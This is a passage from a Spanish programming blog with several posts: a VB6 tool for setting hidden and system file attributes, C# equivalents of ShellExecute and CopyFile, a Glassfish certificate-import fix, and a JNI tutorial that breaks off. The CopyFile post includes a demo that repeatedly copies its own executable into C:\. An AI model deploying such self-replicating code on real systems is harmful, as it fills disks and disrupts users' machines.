src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtrjnnLERrS0LogJnBfKyyIIJ0H0zQwGy5EXNUVKFLWH2TMghyphenhyphenZEHffOFSaPVEhjVZux-EYYr5ifD9rsDoct2TDuks0B5g632jrgm2nYnuMUp1TNzp9PjKfs8BYA-Qk-gFUB-iV8BzXQo/s320/attr2.jpg" width="320" /></a></div><br /><p></p><p>Ésta es la lista de los controles:<br /><br />- Un Label para ver la ruta del archivo: label1<br /><br />- Un Conmon Dialog: cmd<br /><br />- Dos botones, uno para llamar al Conmon Dialog y escoger el archivo, y el otro para modificar sus atributos: Command2 y Command1 respectivamente.<br /><br />- Seis OptionButton para escoger los atributos que se deseen modificar, sus nombres, de arriba a abajo y muy explícitos, son: <br /><br />normal, lectura, oculto, sistema, s_oculto, s_oculto_lectura.<br /><br />Cada OptionButton asigna un número a una variable tipo Integer llamada "attr" ya que los atributos están definidos por números, acá la lista de todos los que pude encontrar:<br /><br />0 - Archivo Normal<br /><br />1 - Archivo de Sólo Lectura<br /><br />2 - Archivo Oculto<br /><br />4 - Archivo de Sistema<br /><br />16 - Directorio o Carpeta<br /><br />32 - Archivo Modificado<br /><br />38 - Archivo de Sistema Oculto<br /><br />39 - Archivo de Sistema Oculto y Sólo Lectura<br /><br />18 - Carpeta Oculta<br /><br />6 - Oculto (en la caja ventana de propiedades no está el check en "archivo")<br /><br />7 - Archivo? de sistema oculto y sólo lectura (en la caja ventana de propiedades no está el check en "archivo", es posible que sea aplicable para carpetas, no lo he comprobado)<br /><br />Y el código fuente es (un par de líneas comentadas se colaron por ahí):</p><p><span style="font-family: courier;"></span></p><p><span style="font-family: courier;"><span style="color: #2b00fe;">Option Explicit</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Dim </span>ruta As String<br />
<span style="color: #2b00fe;">Dim </span>ret As Long<br />
<span style="color: #2b00fe;">Dim </span>attr As Integer<br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub </span>Command1_Click()<br />
<span style="color: #38761d;">'cmd.Action = 1</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">If</span> ruta <> "" Then<br />
SetAttr ruta, attr<br />
<span style="color: #2b00fe;">End If</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> Command2_Click()<br /></span>
<span style="font-family: courier;"><br />
cmd.DialogTitle = <span style="color: #990000;">"Seleccione un archivo"</span><br />
cmd.ShowOpen<br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">If</span> cmd.FileName <> <span style="color: #990000;">""</span> Then<br />
ruta = cmd.FileName<br />
Label1 = ruta<br />
<span style="color: #2b00fe;">End If</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> Form_Load()<br /></span>
<span style="font-family: courier;"><br />
<span style="color: #38761d;">'ret = GetAttr("c:\IO.SYS")</span><br />
Me.Top = Screen.Height / 2 - Me.Height / 2<br />
Me.Left = Screen.Width / 2 - Me.Width / 2<br />
attr = 0<br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> lectura_Click()<br />
attr = 1<br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> normal_Click()<br />
attr = 0<br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> oculto_Click()<br />
attr = 2<br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> s_oculto_Click()<br />
attr = 38<br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> s_oculto_lectura_Click()<br />
attr = 39<br />
<span style="color: #2b00fe;">End Sub</span><br /></span>
<span style="font-family: courier;"><br />
<span style="color: #2b00fe;">Private Sub</span> sistema_Click()<br />
attr = 4<br />
<span style="color: #2b00fe;">End Sub</span></span></p><p> </p><p><a href="https://drive.google.com/file/d/15PlVLgeklapVeyh-227pypUS99rquNKV/view?usp=sharing" rel="nofollow" target="_blank">Y para quienes no quieren programarse esto, les dejo el ejecutable que me llevó 15 minutos de mi vida hacerlo.</a><br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-66362327349204842392021-06-16T15:33:00.000-07:002021-06-16T15:33:36.672-07:00Las Apis Copyfile y Shellexecute, y sus Equivalentes en .Net Con C#<p>Otra entrada migrada de la vieja web :)</p><p></p><p>Después de mucho programar Apis en Visual Basic 6, se me hizo difícil dejar esa costumbre al pasar al C Sharp. Con la plataforma .Net, ya no son necesarias muchas de las llamadas a Apis, pero dado que el Visual Basic 6 está tan bien documentado suele ser más sencillo hallar en internet cómo hacer algo usando una Api que usando .Net. Lo malo: llamar a las apis hace depender nuestras aplicaciones del sistema operativo Windows. <br /><br />Con ShellExecute para C Sharp:<br /><br />En .Net tenemos la clase Process que hace todo lo que hace la api ShellExecute así que no tendríamos porqué necesitarla más. Por ejemplo, para ejecutar un programa, se pone:</p><p><span style="font-family: courier;"><span style="color: #2b00fe;">Process </span>p = new <span style="color: #2b00fe;">Process</span>();<br />p.StartInfo.FileName = <span style="color: #990000;">"iexplore.exe"</span>;<br />p.StartInfo.Arguments = <span style="color: #990000;">"http://www.microsoft.com"</span>;<br />p.Start();</span><br /><br />o abrir el Notepad:</p><p><span style="font-family: courier;"><span style="color: #2b00fe;">Process </span>p = new <span style="color: #2b00fe;">Process</span>();<br />p.StartInfo.FileName = <span style="color: #990000;">"notepad.exe"</span>;<br />p.Start();</span><br /><br />Si quiero abrir un archivo el código sería:<br /></p><p><span style="font-family: courier;"><span style="color: #2b00fe;">Process </span>pr = new <span style="color: #2b00fe;">Process</span>();<br />try<br />{<br /><span> </span>pr.StartInfo.FileName = <span style="color: #990000;">@"C:\un_archivo_cualquiera"</span>;<br /><span> </span>pr.Start();<br />}<br />catch (<span style="color: #2b00fe;">NullReferenceException </span>ex)<br />{<br /><span> </span>MessageBox.Show(ex.Message, <span style="color: #990000;">"Error"</span>);<br />}</span><br /><br />Que reemplaza a este otro código (dentro de una clase):<br /></p><p><span style="font-family: courier;"><span style="color: #2b00fe;">class </span>executeIt{<br /><br /><span style="color: #38761d;">/*<br />Public Declare Function ShellExecute _<br />Lib "shell32.dll" _<br />Alias "ShellExecuteA" ( _<br />ByVal hwnd As Long, _<br />ByVal lpOperation As String, _<br />ByVal lpFile As String, _<br />ByVal lpParameters As String, _<br />ByVal lpDirectory As String, _<br />ByVal nShowCmd As Long) _<br />As Long<br />*/</span><br /><span> </span>[System.Runtime.InteropServices.DllImport(<span style="color: #990000;">"shell32.dll"</span>, <span><span></span></span>EntryPoint = <span style="color: #990000;">"ShellExecute"</span>)]<br /><span style="color: #2b00fe;"><span> </span>public static extern int</span> ShellExecuteA(int hwnd, string <span></span>lpOperation, string lpFile, string lpParameters, string <span><span></span></span>lpDirectory,<br /><span> </span>int nShowCmd); <br />}</span><br /><br /><br />Lo que está comentado es la llamada a la api para Visual Basic 6, debajo está la "traducción" para C Sharp. Así se puede ir deduciendo cómo "traducir" el código que llama apis para VB6 a C Sharp.<br /><br />Para usar la api se hace:</p><p><span style="font-family: courier;">executeIt.ShellExecuteA(0, <span style="color: #990000;">"OPEN"</span>,<span style="color: #990000;">"E:\\mundodisco_1-27.zip"</span>,<span style="color: #990000;">""</span>, <span style="color: #990000;">""</span>, 0);<br />executeIt.ShellExecuteA(0, <span style="color: #990000;">"OPEN"</span>,<span style="color: #990000;">"F:\\Músi-k"</span>,<span style="color: #990000;">""</span>, <span style="color: #990000;">""</span>, 1);</span><br /><br />La primera línea abre mis libros zipeados del Mundodisco de Terry Pratchett. La segunda abre mi carpeta con mis mp3 descargados (y de paso dejo información sobre las particiones de mi disco duro).<br /><br />Si en Visual Basic 6 las variables se declaraban como<span style="font-family: courier;"> Long</span>, en C Sharp su equivalente es <span style="font-family: courier;">Int</span>. Esto es debido a cuántos bytes ocupan estas variables en cada lenguaje. En esta página se puede ver una comparación de los tipos de variables, su tamaño y otras características.<br /><br />Usando la api CopyFile:<br /><br />Si se compila el siguiente código:</p><p><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System;<br /><span style="color: #2b00fe;">using </span>System.Collections.Generic;<br /><span style="color: #2b00fe;">using </span>System.Text;<br /><br /><span style="color: #2b00fe;">namespace </span>ConsoleApplication1<br />{<br /> <span style="color: #2b00fe;">class </span>Program<br /> {<br /><span style="color: #38761d;"> /* Public Declare Function CopyFile Lib "kernel32.dll" Alias<br /> * "CopyFileA" (ByVal lpExistingFileName As String,<br /> * ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long<br /> */</span><br /><br /> [System.Runtime.InteropServices.DllImport(<span style="color: #990000;">"kernel32.dll"</span>, EntryPoint = <span style="color: #990000;">"CopyFile"</span>)]<br /> <span style="color: #2b00fe;">public static extern</span> int CopyFileA(string lpExistingFileName, string<br /> lpNewFileName, int bFailIfExists);<br /><br /> <span style="color: #2b00fe;">private </span>void replicar() <br /> {<br /> int count, rad;<br /> string copia = <span style="color: #990000;">" "</span>;<br /> string nombre_archivo = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;<br /><span style="color: #38761d;"><br /> // Fuente: http://blogs.msdn.com/brada/archive/2004/04/14/113620.aspx por Luc Cluitmans</span><br /> count = 0;<br /> System.IO.DirectoryInfo dir = new System.IO.DirectoryInfo(<span style="color: #990000;">@"C:\"</span>);<br /> foreach (System.IO.FileInfo file in dir.GetFiles(<span style="color: #990000;">"CopyIt*.exe"</span>))<br /> <span> </span>count++; <span style="color: #38761d;">// si es cero es que no existe el archivo.</span><br /><br /> <span style="color: #2b00fe;">for </span>(int i = count; i <= count * 2+1; i++)<br /> {<br /> copia = String.Concat(<span style="color: #990000;">"C:\\"</span>, <span style="color: #990000;">"CopyIt"</span>, i.ToString(), <span style="color: #990000;">".exe"</span>);<br /> rad = CopyFileA(nombre_archivo, copia, 0);<br /> }<br /> }<br /> <br /> <span style="color: #2b00fe;">static </span>void Main(string[] args)<br /> { <br /> Program pp = new Program();<br /> pp.replicar();<br /> }<br /> }<br />}</span><br /><br />se tendrá un programa que simplemente busca cuántas copias existen en C:\ (los archivitos "CopyIt*.exe") y luego con un bucle se copia el doble de veces más uno. No interesa cómo se llame el programa original o dónde se encuentre, siempre sus copias terminarán en C:\ y siempre contará cuántas de ellas existen. Así, después de unos pocos clicks, el disco duro (poniendo el ícono apropiado) se verá así:<br /><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8RvaMtQZOAxWFfIf_tOo8Qf88tbJ6CZuj1KpTDb8Kib9gcv7ebYjdnMIb-H2H9La8QbkMiBCkdX2D9raS3MNZkx1uLI-XdsQ5wetWTLUh0nVd4GovG3EWQCusIhS-5bcZeLjNC4JUKHQ/s600/api01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="450" data-original-width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8RvaMtQZOAxWFfIf_tOo8Qf88tbJ6CZuj1KpTDb8Kib9gcv7ebYjdnMIb-H2H9La8QbkMiBCkdX2D9raS3MNZkx1uLI-XdsQ5wetWTLUh0nVd4GovG3EWQCusIhS-5bcZeLjNC4JUKHQ/s16000/api01.jpg" /></a></div><br /><p>Y como todos son el mismo programa, se puede ejecutar cualquiera de ellos y harán lo mismo: copiarse y copiarse.<br /><br />Y ahora, su equivalente para .Net:</p><p><span style="font-family: courier;"><span style="color: #2b00fe;">using </span>System;<br /><span style="color: #2b00fe;">using </span>System.Collections.Generic;<br /><span style="color: #2b00fe;">using </span>System.Text;<br /><span style="color: #2b00fe;">using </span>System.IO;<br /><br /><span style="color: #2b00fe;">namespace </span>ConsoleApplication1<br />{<br /> <span style="color: #2b00fe;">class </span>Program<br /> {<br /> <span style="color: #2b00fe;">private </span>void replicar()<br /> {<br /> int count;<br /> string copia = <span style="color: #990000;">" "</span>;<br /> string nombre_archivo = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;<br /> <span style="color: #38761d;">// Fuente: http://blogs.msdn.com/brada/archive/2004/04/14/113620.aspx por Luc Cluitmans</span><br /> count = 0;<br /><br /> DirectoryInfo dir = new DirectoryInfo(<span style="color: #990000;">@"C:\"</span>);<br /> <br /> <span style="color: #2b00fe;">foreach </span>(FileInfo file <span style="color: #2b00fe;">in </span>dir.GetFiles(<span style="color: #990000;">"CopyIt*.exe"</span>))<br /> count++; <span style="color: #38761d;">// si es cero es que no existe el archivo.</span><br /><br /> <span style="color: #2b00fe;">for </span>(int i = count; i <= count * 2+1; i++)<br /> {<br /> copia = String.Concat(<span style="color: #990000;">"C:\\"</span>, <span style="color: #990000;">"CopyIt"</span>, i.ToString(), <span style="color: #990000;">".exe"</span>);<br /> File.Copy(nombre_archivo, copia);<br /> }<br /> }<br /><br /> <span style="color: #2b00fe;">static </span>void Main(string[] args)<br /> { <br /> Program pp = new Program();<br /> pp.replicar();<br /> }<br /> }<br />}<br /></span><br /><br />Si se usan las rutas al estilo Visual basic en C Sharp se debe poner una arroba antes para indicarle que es una ruta de directorio, pues el formato de las rutas a los directorios es:<br /><br />Rutas de archivos en Visual Basic: por ejemplo: "c:\mi archivo"<br />Rutas de archivos en C, C++ y C Sharp: por ejemplo: "c:\\mi archivo"<br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-55648943410610728992021-04-28T10:38:00.002-07:002021-04-28T10:38:27.034-07:00Resolviendo el error "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target" en Glassfish<div><p>La solución la dan en <a href="https://stackoverflow.com/questions/9619030/resolving-javax-net-ssl-sslhandshakeexception-sun-security-validator-validatore" rel="nofollow" target="_blank">este enlace</a>, (está mejor explicado <a href="https://tech-geek-passion.blogspot.com/2017/09/how-to-resolve-javaxnetsslsslhandshakee.html" rel="nofollow" target="_blank">aquí</a>). En mi caso, se trataba de un webservice en glassfish que se conectaba a otra web para descargar archivos. Todo ejecutandose en Windows 10.</p><p>Este error ocurre cuando uno de nuestros webservices se conecta a una web https con un certificado que no está en el repositorio de glassfish. Felizmente esto no es complicado de resolver. <br /></p><p>Como estamos en Windows, y para hacernos la vida más fácil, primero descargamos e instalamos el <a href="https://keystore-explorer.org/" rel="nofollow" target="_blank">Keystore-Explorer</a>. </p><p>Al ejecutarlo se ve así:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYa8gnQI_NFvs6WXZhBlnQluAYYAmQLK4ilXLPICocGEZy9vUI6QZZAQg83Jd7l7L44ld1yXsN14sCoRw_3uGQNNviFCDMeByI4aAabA3Dgdr6NbgFqd77HLT6DPnQDLw6k_wIJOLNYhQ/s779/key01.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="537" data-original-width="779" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYa8gnQI_NFvs6WXZhBlnQluAYYAmQLK4ilXLPICocGEZy9vUI6QZZAQg83Jd7l7L44ld1yXsN14sCoRw_3uGQNNviFCDMeByI4aAabA3Dgdr6NbgFqd77HLT6DPnQDLw6k_wIJOLNYhQ/s16000/key01.PNG" /></a></div><p></p><p></p><p> </p><p>Luego tenemos que abrir el repositorio de certificados de glassfish, es un archivo llamado cacerts.jks. En mi caso está ubicado en:</p><p>C:\glassfish5\glassfish\domains\domain1\config</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-8fA5ehXQ_A3qA_ulVVkv2Z68ik7ypvtGo-Xh6ZSOvYpSnEn1Kpr9tEn_LlQLt_K123u-xfwFYwGqLzAPSW0NTpT7gPK4Am6MpXDHrbH4Xn4_7gqWRy298nfgS66anQuu310mcs6KoWs/s776/key03.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="539" data-original-width="776" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-8fA5ehXQ_A3qA_ulVVkv2Z68ik7ypvtGo-Xh6ZSOvYpSnEn1Kpr9tEn_LlQLt_K123u-xfwFYwGqLzAPSW0NTpT7gPK4Am6MpXDHrbH4Xn4_7gqWRy298nfgS66anQuu310mcs6KoWs/s16000/key03.PNG" /></a></div></div><div style="text-align: center;">Ya había abierto este archivo antes, no es la primera vez que tengo este problema.</div><div style="text-align: left;"> </div><div style="text-align: left;">A continuación nos pedirá la contraseña, esta es "changeit".</div><div style="text-align: left;"> </div><div style="text-align: left;">Luego con el Edge (sí, leyeron bien: Edge), nos vamos a la web que está dando problemas. Lo que sigue a continuación no lo encontré ni en Firefox ni en Chrome.<br /></div><div style="text-align: left;"> </div><div style="text-align: left;">Ya en la web, primero le hacemos clik al ícono del candado que aparece a la izquierda de la dirección url:</div><div style="text-align: left;"> <br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxMDKHexGE3nvKK52K4_b8VbMr2Z-QL_1oAIaovPGJb9kLzVzS42SLoJofAQqaaswGrQ42FkVd2EAX1UrmsAg1ZGCYMPwHetyBihG6iNUSkTvhM0La-m9wmDUaXzkpb0SPxmysxwHIdR0/s498/key05.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="498" data-original-width="433" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxMDKHexGE3nvKK52K4_b8VbMr2Z-QL_1oAIaovPGJb9kLzVzS42SLoJofAQqaaswGrQ42FkVd2EAX1UrmsAg1ZGCYMPwHetyBihG6iNUSkTvhM0La-m9wmDUaXzkpb0SPxmysxwHIdR0/s16000/key05.PNG" /></a></div><p>Hacemos click en "Ver certificado", en el lado derecho aparecerán las propiedades del certificado:</p><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-lDUiIVgW7_uJW3qQvLm91MUB49HvaTcQgdyJN4RHBpKoMpVpkGWNBTgoVka3eW5W_K8TYHstJuOdbC-z5iSK4nCPYZ5JYEa7yBccKwNVfec31utJko7bqFSh3o9Sxr_xOsoIhEUOWZA/s650/key02.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="612" data-original-width="650" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-lDUiIVgW7_uJW3qQvLm91MUB49HvaTcQgdyJN4RHBpKoMpVpkGWNBTgoVka3eW5W_K8TYHstJuOdbC-z5iSK4nCPYZ5JYEa7yBccKwNVfec31utJko7bqFSh3o9Sxr_xOsoIhEUOWZA/s16000/key02.PNG" /></a></div><p></p><p>Le hacemos click a "Exportar a archivo", nos pedirá guardar un archivo con extensión crt.</p><p>Nos vamos al KeyStore Explorer. <br /></p><p>Ya dentro, hacemos click derecho y elegimos "Import Trusted Certificate":</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDuTsXD3cCmwV1rDFMocBjf_wmBHglzJwuBHLS1447q5NuBzi6UbpYjWTGBl3-s82eQ6MjF23RYvMIdjQ_3acBQ0eLxhLpfqv-5ZkRrVLfYHgOqn3S-Ab8dyNoes0Mcq0_fXfQcmGETA8/s601/key06.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="390" data-original-width="601" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDuTsXD3cCmwV1rDFMocBjf_wmBHglzJwuBHLS1447q5NuBzi6UbpYjWTGBl3-s82eQ6MjF23RYvMIdjQ_3acBQ0eLxhLpfqv-5ZkRrVLfYHgOqn3S-Ab8dyNoes0Mcq0_fXfQcmGETA8/s16000/key06.PNG" /></a></div><p></p><p>Importamos el archivo crt que nos acabamos de descargar, si aparecen mensajes de advertencia, le hacemos click en Aceptar y OK a todos.</p><p>Cerramos el KeyStore Explorer. Eso es todo para resolver el problema.<br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com2tag:blogger.com,1999:blog-1158634561357243831.post-52869619937986307422021-02-24T17:13:00.008-08:002021-02-24T17:17:42.209-08:00Llamando a una dll en C++ desde Java mediante JNI<p>Ya había escuchado antes acerca de JNI (Java Native Interface) que permite acceder a código en C o C++ desde java, así que ya era hora de probarlo:</p><p>Primero, abro mi Visual Studio 2019, elijo Crear un Proyecto->C++->Biblioteca de Vínculos Dinámicos:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjieRPJTYLj_S7bh9dk5jwrT216Dx6EbWZZIFjI3kb9TQOVaeqtc6eFbTtJuT8pMmxgFG2Eh2VUXG0wQQqi7IkRJFCfIrzfwSHNOoW_kkdHi1k5DbZH5NcBwvZk_R9CvXvUFBPV4ROTZvs/s759/jni0.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="282" data-original-width="759" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjieRPJTYLj_S7bh9dk5jwrT216Dx6EbWZZIFjI3kb9TQOVaeqtc6eFbTtJuT8pMmxgFG2Eh2VUXG0wQQqi7IkRJFCfIrzfwSHNOoW_kkdHi1k5DbZH5NcBwvZk_R9CvXvUFBPV4ROTZvs/s16000/jni0.png" /></a></div><p></p><p>Mi proyecto se llama JNISample y está ubicado en D:. Lo que suelo hacer con mis dlls es crear un nuevo archivo de encabezado, en este caso se llamará jniSample.h:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijpLWPxIr_zjK5GhSgYwgSH7LCdvf9_zqYag8l8GBFp9_VtABwZrZetClMrrrbTDSP5pR51I5QsIpd8r7O2N_KObRycV_GhWBjptmY5y8EAfK9I_Zw4TaSqhGUPy2VIe873RG8kittvHY/s324/jni00.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="258" data-original-width="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijpLWPxIr_zjK5GhSgYwgSH7LCdvf9_zqYag8l8GBFp9_VtABwZrZetClMrrrbTDSP5pR51I5QsIpd8r7O2N_KObRycV_GhWBjptmY5y8EAfK9I_Zw4TaSqhGUPy2VIe873RG8kittvHY/s16000/jni00.PNG" /></a></div><br /><p>Luego se hace click derecho al nombre del proyeccto, nos vamos a General->C++->Directorios de Inclusión Adicionales, e incluímos las carpetas Include de nuestra instalación de JDK tal y <a href="https://www.javamex.com/tutorials/jni/getting_started.shtml" rel="nofollow" target="_blank">como indica esta web</a>:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGozFs7j_6sRjz_o471e0hfRlPgrNm6Qhc3owwB8AHgmjehEQ-H0eRblvsbSP-i9qzgd4IutYmOKd4kkEKwKxfP292LSGORn-4eZy0jlxls6Rvp_jjI8R_-caq2NtWKlmVuD24rQJZi6w/s535/jni1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="421" data-original-width="535" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGozFs7j_6sRjz_o471e0hfRlPgrNm6Qhc3owwB8AHgmjehEQ-H0eRblvsbSP-i9qzgd4IutYmOKd4kkEKwKxfP292LSGORn-4eZy0jlxls6Rvp_jjI8R_-caq2NtWKlmVuD24rQJZi6w/s16000/jni1.png" /></a></div><br /><p>En mi caso las rutas son C:\Program Files\Java\jdk1.8.0_231\include y C:\Program Files\Java\jdk1.8.0_231\include\win32</p><p>En el archivo dllmain.cpp añadimos la siguiente función que simplemente toma dos cadenas de caracteres y suma sus longitudes:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnN3qZ422qEecKuVLqKuJB-5euI-fkRrUHC4fAWxB_9rjMIwVE5I-l6E8yUl339onj2nxPEwYjbYmZ0LBlOrWQGtB6CVg3DHO30qpLarCfqhFXpu17WYxQShGrTaXEom5d2nYdQ86NCCk/s766/jni3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="766" data-original-width="612" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnN3qZ422qEecKuVLqKuJB-5euI-fkRrUHC4fAWxB_9rjMIwVE5I-l6E8yUl339onj2nxPEwYjbYmZ0LBlOrWQGtB6CVg3DHO30qpLarCfqhFXpu17WYxQShGrTaXEom5d2nYdQ86NCCk/s16000/jni3.png" /></a></div>La explicación del uso de la variable <span style="font-family: courier;">env</span> <a href="https://devarea.com/java-and-cc-jni-guide/" rel="nofollow" target="_blank">está en esta web.</a> En resumen es para indicar que se desea copiar la cadena de caracteres enviada por java a la memoria del código nativo en C++, y al final liberar esta memoria.<br /><p>En el archivo .h se copia la declaración de la función:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtfOHDsTtBAmN3-T1d5FufZYFZtU7FnafveLMLcDJU0RWy6oHBYN_CGqDQ_nZz1w35Y_pcYvsl0YiqSi0HSjYSemsrnD0wcYjyffv7XfBUr-WIyNntcKyVZnAn24FY9PwlE8cBnNf5lcI/s530/jni22.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="227" data-original-width="530" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtfOHDsTtBAmN3-T1d5FufZYFZtU7FnafveLMLcDJU0RWy6oHBYN_CGqDQ_nZz1w35Y_pcYvsl0YiqSi0HSjYSemsrnD0wcYjyffv7XfBUr-WIyNntcKyVZnAn24FY9PwlE8cBnNf5lcI/s16000/jni22.png" /></a></div><p>Y se compila. El código dentro de los <span style="font-family: courier;">#ifdef</span> es para que el compilador no decore el nombre de la función.<br /></p><p>Ahora hay que crear la aplicación java. Yo estoy usando Netbeans 11.1. La aplicación de ejemplo es de tipo Ant y se llama JNISample1; la voy a ubicar dentro de la carpeta del proyecto de C++, JNISample.</p><p>Luego copio la dll compilada a la carpeta donde está el proyecto en Netbeans, en mi caso es D:\JNISample\JNISample1:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6emZm4b8Ui7qA8jTOYtRSiz5g2sTac_gdK1hJofY2Pxee_NunyONXgmUdaOSxb6jJJWgxSPdz8lKKkwzLmCGgHCAol1qp4a3d7YU7n0SjhlkMqkmEhD5DrXJB52gtYea0fwRgp8HyqCM/s367/jni6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="301" data-original-width="367" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6emZm4b8Ui7qA8jTOYtRSiz5g2sTac_gdK1hJofY2Pxee_NunyONXgmUdaOSxb6jJJWgxSPdz8lKKkwzLmCGgHCAol1qp4a3d7YU7n0SjhlkMqkmEhD5DrXJB52gtYea0fwRgp8HyqCM/s16000/jni6.png" /></a></div> <p></p><p>Siguiendo las instrucciones <a href="https://devarea.com/java-and-cc-jni-guide/" rel="nofollow" target="_blank">de esta web</a> y <a href="https://www.javamex.com/tutorials/jni/getting_started.shtml" rel="nofollow" target="_blank">esta otra</a>, se añade el código necesario para cargar la dll y usarla desde java, debe quedar así:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtab0G-0y-jcRkWxypVgTCga7xOYi74xH3m0ibM7BGM_wrr6p8jcqzB3TCLjzgLqs6_KCJ0pxQQ_5VdL4MOWAKZNFWLYdWqrUUXdzN51GLu07g3x8G7MEdYB9dGjfIyT8RmBa0wNRC0H4/s1038/jni5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="521" data-original-width="1038" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtab0G-0y-jcRkWxypVgTCga7xOYi74xH3m0ibM7BGM_wrr6p8jcqzB3TCLjzgLqs6_KCJ0pxQQ_5VdL4MOWAKZNFWLYdWqrUUXdzN51GLu07g3x8G7MEdYB9dGjfIyT8RmBa0wNRC0H4/s16000/jni5.png" /></a></div><p></p><p> </p><p>Si arroja algún error, puede deberse a que no se ha escrito correctamente el nombre de la librería, éste es el nombre del archivo dll sin la extensión. <a href="http://www.linuxonly.nl/docs/15/15_UnsatisfiedLinkError_Using_JNI_to_do_native_calls_from_Java.html" rel="nofollow" target="_blank">Más información en este enlace.</a></p><p>Es preferible que la función que llama a la dll sea pública, así podremos usar este jar desde otro. Yo prefiero tener un jar intermedio entre la aplicación principal y la dll debido a los pasos que siguen a continuación:<br /></p><p>Para enlazar la dll a la aplicación de java se debe crear el verdadero archivo .h con el que se debe recompilar la dll. Esto se hace invocando al ejecutable javah que existe dentro de la instalación del JDK (no he probado con el JRE). Para este paso hay que seguir las instrucciones <a href="https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaNativeInterface.html" 